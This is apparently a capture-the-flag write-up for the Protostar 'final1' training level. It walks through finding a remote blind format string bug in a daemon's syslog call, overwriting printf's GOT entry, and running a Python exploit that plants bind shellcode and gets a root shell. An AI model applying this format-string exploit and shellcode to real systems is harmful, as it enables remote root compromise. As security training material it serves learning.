Protostar exploits Final1


Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at


Test run

final1 is a network daemon that listens on port 2994. The iso image automatically starts the daemon for us. If we list the running processes we should see it.

user@protostar:~$ ps axu|grep final1
root 1668 0.0 0.1 1532 272 ? Ss Aug18 0:00 /opt/protostar/bin/final1
user 6628 0.0 0.2 3296 728 pts/1 S+ 00:16 0:00 grep final1
user@protostar:~$ sudo netstat -nap|grep final1
sudo: unable to resolve host protostar
[sudo] password for user: 
tcp 0 0* LISTEN 1668/final1 
user@protostar:~$ nc -vvv localhost 2994
localhost.localdomain [] 2994 (?) open
[final1] $ AAAA
[final1] $ ^C sent 5, rcvd 22


Challenge hint ‘This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.”

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
 char buf[512];

 snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

 syslog(LOG_USER|LOG_DEBUG, buf);

void trim(char *str)
 char *q;

 q = strchr(str, '\r');
 if(q) *q = 0;
 q = strchr(str, '\n');
 if(q) *q = 0;

void parser()
 char line[128];

 printf("[final1] $ ");

 while(fgets(line, sizeof(line)-1, stdin)) {
 if(strncmp(line, "username ", 9) == 0) {
 strcpy(username, line+9);
 } else if(strncmp(line, "login ", 6) == 0) {
 if(username[0] == 0) {
 printf("invalid protocol\n");
 } else {
 logit(line + 6);
 printf("login failed\n");
 printf("[final1] $ ");

void getipport()
 int l;
 struct sockaddr_in sin;

 l = sizeof(struct sockaddr_in);
 if(getpeername(0, &sin, &l) == -1) {
 err(1, "you don't exist");

 sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));

int main(int argc, char **argv, char **envp)
 int fd;
 char *username;

 /* Run the process as a daemon */
 background_process(NAME, UID, GID); 
 /* Wait for socket activity and return */
 fd = serve_forever(PORT);

 /* Set the client socket to STDIN, STDOUT, and STDERR */



After examining the code’s logic we can see that parser() will spit some information out to syslog if we provide the correct sequence of commands. Let’s try that.

user@protostar:~$ nc -vvv localhost 2994
localhost.localdomain [] 2994 (?) open
[final1] $ username AAAA
[final1] $ login BBBB
login failed
[final1] $
user@protostar:~$ sudo tail /var/log/syslog
Aug 28 00:42:12 (none) final1: Login from as [AAAA] with password [BBBB]

The logit() function uses snprintf() to print out the values ”hostname’ ‘username’ and ‘pw’ to syslog. This looks like a good candidate to test for a format string vulnerability.

We will send a our format string test to the username parameter as ‘AAAAAAAAAAAAAAA%15$p’

If you recall from previous protostar format string challeges %[integer]%p will print the contents of memory from the stack where [integer] is the position on the stack.

I have chose 15 for my payload as this is the stack position where the username value containing  ‘AAAAAAAAAAAAAAA’ is location as indicated in the syslog output when ‘0x41414141’ is printed.

user@protostar:~$ nc -vvv localhost 2994
localhost.localdomain [] 2994 (?) open
[final1] $ username AAAAAAAAAAAAAAA%15$p
[final1] $ login BBBBBBBB
login failed
user@protostar:~$ sudo tail /var/log/syslog
Aug 28 12:36:38 (none) final1: Login from as [AAAAAAAAAAAAAAA0x41414141] with password [BBBBBBBB]

To move things along quicker I will attempt to cause a segfault by using the $n format string operator and writing to invalid memory location.

user@protostar:~$ nc -vvv localhost 2994
localhost.localdomain [] 2994 (?) open
[final1] $ username ABCDE%15$n
[final1] $ login ZZZZZZZZ%15$p
 sent 248, rcvd 173
user@protostar:~$ sudo tail /var/log/syslog
sudo: unable to resolve host protostar
Aug 28 12:47:46 (none) kernel: [836790.246087] final1[7347]: segfault at 45444342 ip b7ed7aa9 sp bfffeb78 error 6 in[b7e97000+13e000]

And we should have our core dump files.

user@protostar:~$ ls -la /tmp/
total 208
drwxrwxrwt 2 user user 80 Aug 28 12:47 .
drwxr-xr-x 27 root root 200 Aug 18 20:00 ..
-rw------- 1 root root 294912 Aug 28 12:09 core.11.final1.8591

To recap the plan of action, use a format string attack on the snprintf() call in logit(), deploy a bind shell payload into the ‘username’ variable. To obtain code execution, the global offset table entry for printf() will be overwritten with the address of some point in ‘username’ where the shellcode should be located.

Let’s find the GOT entry for printf()

user@protostar:~$ objdump /opt/protostar/bin/final1 -R|grep printf
0804a0fc R_386_JUMP_SLOT sprintf
0804a16c R_386_JUMP_SLOT asprintf
0804a174 R_386_JUMP_SLOT printf
0804a184 R_386_JUMP_SLOT fprintf
0804a1ac R_386_JUMP_SLOT snprintf

Our destination address to overwrite will be ‘0x0804a174’

We will write the start address of our shellcode payload in ‘username’

gdb$ x /128xb x /128xb username
0x804a220 <username>: 0x41 0x74 0xa1 0x04 0x08 0x76 0xa1 0x04
0x804a228 <username+8>: 
0x804a230 <username+16>: 
0x804a238 <username+24>: 
0x804a240 <username+32>: 
0x804a248 <username+40>:

‘0x804a248’ looks like a good location so that we have space to play around with and we can nop sled to the shellcode.

The final exploit script can be found here

This code is for protostar final1 challange.
Will connect to final1 network daemon, send the username and login messages to trigger the logit() function and confirm the format string bug.
import socket
import sys
import re
import struct

def send_command(cmd):

 recv = s.recv(4096)
 return recv
 #create an AF_INET, STREAM socket (TCP)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
 print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]

print 'Socket Created'

host = sys.argv[1]
port = sys.argv[2]

 remote_ip = socket.gethostbyname( host )

except socket.gaierror:
 #could not resolve
 print 'Hostname could not be resolved. Exiting'

print 'Ip address of ' + host + ' is ' + remote_ip

#Connect to remote server
s.connect((remote_ip, int(port)))

print 'Socket Connected to ' + host + ' on ip ' + remote_ip
buffer_size = 532
got_entry_al = "\x74\xa1\x04\x08"
got_entry_ah = "\x76\xa1\x04\x08"
#Bind shellcode listens on port 11111
shellcode = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"\

 payload = "A"
 recv = s.recv(4096)
 print send_command("username " + "A" + got_entry_al + got_entry_ah + "\x90"*31 + shellcode ),
 print send_command("login %41383u%15$n%91580u%16$n")

except socket.error:
 #Send failed
 print 'Send failed'

print 'Done.'

Let’s run the exploit and see if we get a remote bind shell.

user@protostar:~$ python localhost 2994;sudo tail /var/log/syslog
Socket Created
Ip address of localhost is
Socket Connected to localhost on ip
[final1] $ username Atv???????????????????????????????1???fCRSj??̀[^Rfh+gjQP?f??̀?Q?f?̀?fC̀Y?j?X̀Iy??
[final1] $ login %41383u%15$n%91580u%16$n
login failed
Aug 29 12:12:10 (none) kernel: [920931.196677] final1[12844]: segfault at 803a248 ip 0803a248 sp bffffbbc error 4 in final1[8048000+2000]

netcat to the remote TCP port ‘11111’

Big-Romney:~ someuser$ nc -vvv 11111
found 0 associations
found 1 connections:
 outif vmnet8
 src port 57457
 dst port 11111
 rank info not available
 TCP aux info available

Connection to port 11111 [tcp/vce] succeeded!
uid=0(root) gid=0(root) groups=0(root)

It worked!

Apologies, I realize that I need to properly complete this write up by explaining the format string payload, bear with me.

Thank you